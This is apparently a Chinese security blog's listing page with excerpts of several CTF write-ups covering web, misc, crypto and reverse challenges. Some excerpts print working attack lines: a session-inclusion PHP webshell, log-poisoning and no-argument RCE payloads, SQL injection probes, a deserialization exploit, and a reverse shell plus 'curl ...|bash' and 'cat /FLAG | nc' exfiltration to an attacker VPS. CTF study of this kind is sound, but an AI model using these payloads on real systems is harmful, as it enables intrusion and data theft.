首页
关于站长
vFREE&资源
vFREE&导航
vFREE&友人帐
留言区
推荐
自由公式CTF
轻简导航
vFREE&网盘
Search
1
传说中的Windows11初体验(附下载链接和检测工具)
5,180 阅读
2
他的更多信息😋
1,917 阅读
3
MySQL中常见的内些...啥
1,189 阅读
4
非常菜的一个批量布置waf脚本
1,035 阅读
5
初始化一个Git仓库
880 阅读
其他知识
Linux
Windows
MySQL
Git
WriteUp
ctfshow
bugku
bmzctf
其他WP
CTF
Web
Crypto
Misc
AWD
漏洞复现
工具
Typecho
登录
Search
标签搜索
ctf
mysql
CTF-AWD
BMZCTF-WP
brixelctf
Bugku
Windows11
windows
web
web漏洞
xxe
web安全
vFREE
累计撰写
76
篇文章
累计收到
779
条评论
首页
栏目
其他知识
Linux
Windows
MySQL
Git
WriteUp
ctfshow
bugku
bmzctf
其他WP
CTF
Web
Crypto
Misc
AWD
漏洞复现
工具
Typecho
页面
关于站长
vFREE&资源
vFREE&导航
vFREE&友人帐
留言区
推荐
自由公式CTF
轻简导航
vFREE&网盘
搜索到
6
篇与
的结果
2022-07-27
广东大学生网络安全攻防大赛CTF部分WP
三人行,除我皆是大佬,第一次参加这个比赛,个人感觉难度还算是适中,简单分享一下对这些题目的个人见解,这次只做出了5题(I'm So Vegetables),还有一题另外一个师傅在比赛结束后才做出来WEBeasy_ctf这题刚开始以为把给出的字符数量进行排序就行了,发现排序完成提交后,没有任何回显,这里就突然想到了会不会是有时间要求,写了脚本提交上去后,回显了flag,简单写了一个脚本,看看就好了import requests,re s = requests.Session() url = 'http://120.79.xxx.xxx:42727/' re_rules = r'<td style="WORD-WRAP: break-word" width="1600">([\s\S]*)<td>' response = s.get(url) strs = re.findall(re_rules,response.text) strs = strs[-1].replace('\r\n','') resoult = {} for i in strs: resoult[i] = strs.count(i) # print(resoult) sorted_dict = sorted(resoult.items(), key=lambda kv: kv[1]) flag = [] for i in sorted_dict: flag.append(i[0]) s1 = ''.join(flag) data = { 'ans':s1 } response1 = s.post(url,data=data) print(response1.text)in这道题刚开始以为是很简单的文件包含,后面发现确实很简单,没有任何字符过滤,主要是考察session文件包含,通过写入木马,访问session文件,从而达到getshell的效果在这里输入内容后,会跳转到另外一个页面,这时候的url变成了 action.php?file=xxx,通过这个url确定是文件包含,接下来使用php伪协议读取一下首页php文件和action.php输入urlphp://filter/read/convert.base64-encode/resource=./action.php得到了将其解码出来后<?php session_start(); error_reporting(0); $name = $_POST['name']; if($name){ $_SESSION["username"] = $name; } include($_GET['file']); ?> <!DOCTYPE html> <html> <head> </head> <body> <a href=action.php?file=1.txt>my dairy</a> <a href=action.php?file=2.txt>my booklist</a> </body> </html>到这里基本就可以确定是session文件包含,既然session内容可控,那就可以直接传入恶意代码,比如构造一个phpinfo(),也就是在please input your name下面的框写入一个<?php phpinfo();?>传进去,然后通过访问session的默认路径+sess_PHPSESSID就可以被执行了{collapse}{collapse-item label="session文件默认路径:" open} /tmp/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/var/lib/php5/sess_PHPSESSID/tmp/sess_PHPSESSID{/collapse-item}{/collapse}同时查看我们的PHPSESSID,通过F12的"网络-cookie-PHPSESSID"那里,取得sessid,这里测试出来的session文件的路径是/tmp,所以直接访问?file=/tmp/sess_xxxxxxxxxxxx就可以执行了,执行成功后,会返回phpinfo的信息,这里就直接传入<?php file_put_contents('vfree.php','<?php system($_GET["vfree"]);?>');?>完成后,直接访问这个文件就可以getshell了,flag文件是/fl444444444g,最后直接cat /fl444444444g就可以得到flag了misc签到关注公众号发送"我来签到了"就有了flag{shifujiayou}复合下载文件下来,发现是数据包格式,我们使用wireshark打开,经过分析,数据包里面有很多文件,我们使用wireshark导出里面的所有文件导出的文件很多,我们查看一些关键的进行查看,先识别其正确的格式。发现一个flaggggggg.exe文件,我们将其改为zip文件打开,发现里面两个空白文件,分析其他四个文件,将WordDocument使用记事本打开,发现一个key,这个后面有用。经过分析,发现一个pass.md文件为zip文件,但其缺少zip文件头,我们添加50 4B,然后改为zip打开,打开发现一个文件解压后我们使用记事本打开,发现一些有规律的编码,我们使用Quoted-printable解码,解码为utf8编码,解码后发现一段文字分析为维吉尼亚加密,我们在解密网站解密,使用前面获取的key:everything解密,得到FLAG。cryptocrypto-xor2这题是另外一个师傅做的,直接上脚本去破解key值,已知前四位是flag,所以可以直接枚举出剩下的字符data = open('cipher').read() flag = '' for j in range(97,122): for i, c in enumerate(data): key = f'xxx{chr(j)}' flag += chr(ord(c) ^ ord(key[i%4])) #print(chr(j),flag) if flag[0:4] == 'flag': print(flag) flag = ''Reversepyre根据题目就大概知道是python打包成exe的,所以直接使用pyinstxtractor工具进行逆向,逆向出来后会得到一个pyc的文件,如果没有pyc文件,就需要通过winhex或者其他的进制工具修改文件头,我用的pyinstxtractor可以直接导出来pyc文件,所以这里不做其他修改文件头的操作,得到pyc文件后,放到反编译网站进行编译,这里推荐 python反编译 - 在线工具 (tool.lu)反编译出来的结果:def check(): a = input('plz input your flag:') c = [
2022年07月27日
13 阅读
0 评论
0 点赞
2022-07-27
鹏城杯部分WP
题目文件包含what_is_log简单的phpEasygo 文件包含nginx配置错误+user-agent文件头写入命令+读取access.log日志 考察任意文件读取,但是过滤了绝大部分的伪协议和flag,留下来的http和zip没过滤,但是没什么用,查看服务器的中间件是nginx,然后题目没有采用动态的靶场,所以尝试一下读取服务器的日志文件access.log,看一下能不能找到有用的payload或者flag,发现也被过滤了,而且,waf使用正则进行过滤的,可是到这里还是没什么思路,于是百度了一下路径绕过,发现有一个绕过的方法,就是利用nginx的配置错误,来进行路径拼接,整体是这样子的,直接访问/var/log/nginx/access.log时会被过滤,但是如果服务器配置错误的话,/var/vfree/../log/nginx/access.log的话,nginx默认会处理成/var/log/nginx/access.log,把vfree/../当成跳转上一层目录,也就是跳到了/var目录,于是就log后面的路径拼接到了/var后面,造成了目录穿越的漏洞,访问发现可以成功返回,如果环境没有被清空的话,通过全局搜索”PCL{“就可以翻到别人的flag,不好运就要自己写一个,整个access.log的组成是由IP - - 日期 - ”访问方法 访问路径 HTTP版本“ 状态码 字节 - USER-AGENT - - 这几部分组成,所以可以尝试通过请求头写入一段读取flag的php代码,然后flag再写入到日志文件中!!!所以直接get写入的话,访问access.log发现是可以写进去的,虽然会被防火墙拦截,但是所有访问都会先通过php处理任何在写入访问日志,所以flag就会被读取出来!!!PCL{bc58644f-f757-11ec-9edf-5224002d2b29} what_is_log下载文件,打开后,根据文件后缀scap进行查找是可以通过什么工具打开,发现scap的数据包产生的工具是sysdig,所以使用Linux安装一个sysdig (yum install -y sysdig),安装完成后,根据题目提示 ”某机器的mysql中存在一些秘密,通过log文件你能找到它输入的密码或者这个秘密吗(添加PCL格式提交)“ ,大概就可以知道要把数据包中抓取到密码作为flag提交,所以这里可以用 "sysdig -r flag2.scap proc.name=mysql > mysqllog.txt " 将和mysql相关的数据输出到mysqllog.txt中,然后下载到本地打开文本编辑软件进行审计,众所周知,在连接数据库的时候,我们要输入mysql -uroot -p,然后就会返回一个Enter password:,然后就输入密码,既然是进行查密码,那就有可能会输入mysql -uroot -p,然后出现Enter password,根据这一个特征,我们用ctrl+f进行查找相关的字眼,经过过滤后的文件,大概就会出现6个password相关的字眼,一个个去观察,结合上下产生的数据,最后在序号为61673的行找到了最终的flag,是一个md5值,但是提交不需要解密,最终flag就是PCL{1555a651a13ec074ce725383214fd7cc}简单的php打开题目,发现基本上把能用的字符都过滤掉了,同时code传入的字符不能超过80,否则输出Hello,由于是无参数RCE,不是很熟,所以这里百度了一下,发现了一些题目有点像,于是大概学习了一些,基本上就是异或或者取反,这里找到了一个现在的自动编码取反的脚本,由于是无参数回显,所以要结束print_r、scandir和pos(localeconv())输出当前目录,在此之前要进行编码 > print_r(scandir(pos(localeconv()))) ---> [~%8F%8D%96%91%8B%A0%8D]!%FF))); 将这段payload放到get中,就会输出当前目录的文件内容,但是发现flag不在当前目录,所以可能是在根目录上,有一个问题就是不能直接查看根目录,因为/使用了就不符合规则了所以此时可以利用通过获取getallheaders()的user-agent进行取反命令执行,也就是说说,在code输入执行函数,然后修改bp的user-agent的内容,使得传入的code执行函数去执行user-agent头,构造payload: > system(next(getallheaders())) ---> [~%8C%86%8C%8B%9A%92]!%FF)); > > user-agent: ls / 发现了flag名字,接下来直接改user-agent头进行读取flag,最终flag为:PCL{b35a314f-ff57-13a2-9ad1-002d22deeb2a} >Easygo查看main.go发现/juice/:id网站路径, 然后开始利用,http://192.168.1.115:8080/juice/1 网页有输出,源码中id是要输入到sql语句中,所以id这里存在sql注入 payload: http://192.168.1.115:8080/juice/1’ and 1=1 http://192.168.1.115:8080/juice/1’ and 1=2 最后确定漏洞后,利用sqlmap一把嗦,跑出flagPCL{Postgresql_1njection_1s_3asY}
2022年07月27日
7 阅读
0 评论
0 点赞
2021-12-09
N1book---死亡ping命令
N1book---死亡ping命令有时候命令执行的题目限制了字数或者某些函数被禁用了,那么此时可以用反弹shell的效果,连接题目的机器一般来说,构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式,发送到客户端执行,但是有时候不一定可以,可能会报错啥的,所以此时可以在只记得vps中,新建一个页面,比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1,然后再题目处输出/?cmd=curl xxx.xxx.xxx.xxx/bash.php|bash 即可达到执行的效果[第二章 web进阶]死亡ping命令给出了一个ping的界面,能输出的内容就只是有ping成功/ping失败,也就是说这道题类似于于那种布尔命令执行,如果执行成功,会返回ping成功,反之ping失败经过fuzz,可以排除大量的被过滤字符,其中%0a没有被过滤,因此,使用%0a再ip地址后面构造payload,由于docker里边没有bash,而且bash也被过滤了,所以用其他方式进行反弹由于不会输出命令执行的内容,所以,此时最好的办法就是反弹一个shell,首先得有一台vbs,再vbs中开放80端口,然后再根目录下创建一个bash.sh,内容为cat /FLAG | nc ip port构造了一个sh的文件,内容就是查看flag文件,并返回给自己的vps由于很多文件夹都写不进去,唯独/tmp的文件夹可以写进去,所以索性写进tmp文件夹中,名字为bash1.sh赋予权限执行(执行前,记得在自己的vps主机打开nc,nc -lvp 12345)
2021年12月09日
57 阅读
0 评论
0 点赞
2021-08-11
论剑场--txt500
题目论剑场 https://new.bugku.com/challenges/tag/misc题目名 TXT500考点1.不会脚本的考耐心2.会脚本的考编写能力解题步骤将文件download下来,然后解压到某个文件夹下,文件夹名尽量别用中文然后上脚本!!!脚本下载地址隐藏内容,请前往内页查看详情
2021年08月11日
52 阅读
1 评论
0 点赞
2021-05-18
"津门杯"--WEB(power_cut)
最近在学习反序列化,然后最近也有一个"津门杯"的CTF比赛,我没有参加,看了前三名的战绩,真的是......MD太强了,然后看到其他大佬公布的writeup,发现有一道很简(kun)单(nan)的反序列化题目!!!就说web的"power_cut"不说解题过程,直接就上代码<?php class logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; //通过构造函数__construct($file)传入文件,并且赋给$this->logfile,然后readfile读取传入的文件 //此处有任意文件读取的嫌疑 $this->logFile = $file; readfile($this->logFile); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ echo "this is destruct"; } } class weblog { // 定义一个weblogfile的变量 public $weblogfile; function __construct() { $flag="system('cat /flag')"; echo "$flag"; } // 当外面使用了反序列化unserailze时,会优先调用__Wakeup function __wakeup(){ // self::waf($this->filepath); //此处是将实例化logger的类,其中logger类中有三个公开的函数,这里传入了一个weblogfile则意味着给logger中的public $logfile赋值了 //如果weblogfile是1,则public $logfile就等于1,以此类推 $obj = new logger($this->weblogfile); } public function waf($str){ $str=preg_replace("/[<>*#'|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function __destruct(){ echo "this is destruct"; } } $log = $_GET['log']; $log = preg_replace("/[<>*#'|?\n ]/","",$log); //没有多次匹配指定的字符串,双写直接绕过 $log = str_replace('flag','',$log); $log_unser = unserialize($log); ?> <html> <head></head> <body> <p><br/>昨天晚上因为14级大风停电了.</p> </body> </html> 观察以上代码之后,发现了logger类中使用readfile,这里可以读取文件直接构造<?php class weblog { public $weblogfile; function __construct() { $flag="system('cat /flag')"; echo "$flag"; } function __wakeup(){ // self::waf($this->filepath); $obj = new logger($this->weblogfile); } public function waf($str){ $str=preg_replace("/[<>*#'|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function __destruct(){ echo "this is destruct"; }} $a=new weblog("/flflagag"); $a->weblogfile='/flflagag'; print(serialize($a)); 解析:实例化weblog的类,并且赋值给$a然后给$a->$weblogfile赋值为/flflagag,此处为双写,主要是为了绕过$str=str_replace('flag','',$str);最后序列化出来 :O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}将这个通过log传入进去,url/?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}将会执行反序列化,反序列化的话,将会检查类中有没有__wakeup的魔术方法,有的话,将会先执行__wakeup的内容,也就是$obj = new logger($this->weblogfile);这个代码的意思就是实例化logger类,然后传入$this->weblogfile='/flflagag'传入之后,logger的$logfile就等于/flflagag,然后继续执行构造函数__construct($file),其中的file就是等于$logger等于/flflagag,最后就执行文件读取readfile('/flflagag'),flag就出来了{lamp/}好吧,这次总结地还是有一点点瑕疵,看了别人地writeup才审计出来的,害~这就是菜吧{lamp/}注意:部分图片源自于网络,如有侵权,请联系删除!!!谢谢最后...
2021年05月18日
170 阅读
0 评论
0 点赞
2021-05-13
BrixelCTF部分writeup
官方网站 Brixel {lamp/}前言对这一次的ctf比赛,唯一的感想就是部分题目对新手很友好,网站在上面👆,虽然现在已经结束比赛了,但是题目还是可以做,快去试试吧,大家多支持✌flag在最后面,flag对应每一道题目最后的数字,部分题目有flag,部分需要自己动手{lamp/}题目OSINT: A quick searchCryptography: sea code , merda , s̸͖̾̀͊͠h̸̜̒ï̷̧̲͙̭̤͛͒̋t̷̢̲͚͖̑͜ , flawed , Don't be saltyInternet: Easy , robotopia , Discord , login1 , login2 , Browsercheck , Readme , SnackShack awards , Hiding in the backgroundSurvey : Survey建议用谷歌打开这个网站,先不说谷歌的优缺点,主要是我看中了谷歌的"翻成中文(简体)"{lamp/}OSINTAquick search根据页面给的提示以及下载的图片,可以知道flag是找出这个塔叫什么名字解题思路:打开百度,然后百度搜索框那有一个相机,点一下,将图片拖拽进去或者是本地上传,然后就可以识别出来啦,所以flag是{callout color="#f0ad4e"}brixelCTF{Eben-ezer}{/callout}不需要加Tour{lamp/}ryptographysea code将音频下载下来,并且根据页面的提示,考察摩斯密码,可是对我来说太快了,所以我听不明白,所以我也不知道flag,但是思路是对的merda打开出现一段密文,看样子推测是凯撒密码解题思路:复制密文到凯撒密码的解密网站中,位移5位flag就出来了,flag是{callout color="#f0ad4e"}brixelCTF{pizzanapoli}{/callout}flawed开始以为是要丢到hash去解,原来这只是一个MD5解题思路:打开一个md5解密的网站,复制进去即可,flag是{callout color="#f0ad4e"}brixelCTF{notsecure}{/callout}s̸͖̾̀͊͠h̸̜̒ï̷̧̲͙̭̤͛͒̋t̷̢̲͚͖̑͜打开一看,很明显的base64编码解题思路:打开一个在线base64的网站,复制进去,发现解出来的是一堆二进制,没关系,再打开一个转ASCII码的网站,将二进制转一下就好了,所以flag是{callout color="#f0ad4e"}brixelCTF{robocop}{/callout}InternetEasy根据提示找出主页中的一个flag解题思路:回到主页,然后查看源码,搜索brixelCTF,然后flag就出来了,所以flag是{callout color="#f0ad4e"}brixelCTF{notsosecret}{/callout}robotopia考察robots.txt解题思路:在url后面加一个robots.txt,flag就出现了,所以flag是{callout color="#f0ad4e"}brixelCTF{sadr0b0tz}{/callout}Discard解题思路:点进去,然后按照提示填写信息就可以看到flag了{callout color="#f0ad4e"}brixelCTF{w0rst_j4v4scr1pt_3v3r!}{/callout}Login1以为要整一个万能密码什么的,谁知道都是多余的解题思路:打开网页后,F12,打开会发现有一个js代码,再打开就看得到flag了,所以flag是{callout color="#f0ad4e"}brixelCTF{st111_b4d_j4v45cr1pt_h3r3.18079054270}{/callout}Login2由于最多只能提交三次flag,所以我三次都提交错了,后面仔细看才知道解题思路:依然打开F12,查看里面的js代码,看似复杂,实际上没什么难度,substring是截取字符串,初始定义了split为6,所以substring里面的split数字,直接就是6数字,比如(split,split2),就是(6,62),全部依次写下来,flag自然就出来了,我没办法提交,所以不知道对不对,但是思路应该没错,所以flag是[8]{callout color="#f0ad4e"}brixelCTF{st111_b4d_j4v45cr1pt_h3r3.18079054270}{/callout}Browsercheck伪造一个用户代理即可解题思路:打开burpsuite,然后抓这个包,将包放到重放模块(Ctrl+R),然后在user-agent后面添加一个'Ask Jeeves/Temo',flag就出来了,如果没有,去百度一下ask jeeves的用户代理Readme解题思路:在主页那找到guide for new players或者新手指南,然后点进去,在最后一行,有一个freepoints,这就是flag,所以flag是{callout color="#f0ad4e"}brixelCTF{freepoints}{/callout}SnackShack awards说是什么要投票达到5000就会有flag,所以也很简单解题思路,记住这个小店的名字,然后打开提供的网站,F12,找到标签的第四个,然后点开标签中第二个标签,会有一个标签,下面有五个标签,将value后面的数字改成5000,然后再回到投票的地方,点击你刚刚修改的value对应的数字,比如我修改0对应的value投票的时候,我也要选择0最后点击投票(vote)即可,所以flag是{callout color="#f0ad4e"}brixelCTF{bakpau}{/callout}Hiding in the background这道题目给我的感觉,确实有点杂项解题思路:回到主页查看源代码,然后在144行发现了一个标签,出于好奇,我把url中的连接复制下来,然后在主页的url加上,发现下载了一个svg文件,然后我又点开了,最后查看源代码,还挺多的,于是我Ctrl+F,然后搜索beixelCTF,flag就出现了,所以flag是{callout color="#f0ad4e"}brixelCTF{happy_holidays}{/callout}SurveySurvey解题思路:把调查问卷做完就有flag了{lamp/}感想希望多出一些这种适合我这种菜鸟的题目,这种比赛很是支持,多多益善哈哈哈大佬别要喷我,我不过是一个初出茅庐的小菜鸟{lamp/}注:部分图片来源于网络,如有侵权,请联系删除!!!谢谢
2021年05月13日
133 阅读
0 评论
1 点赞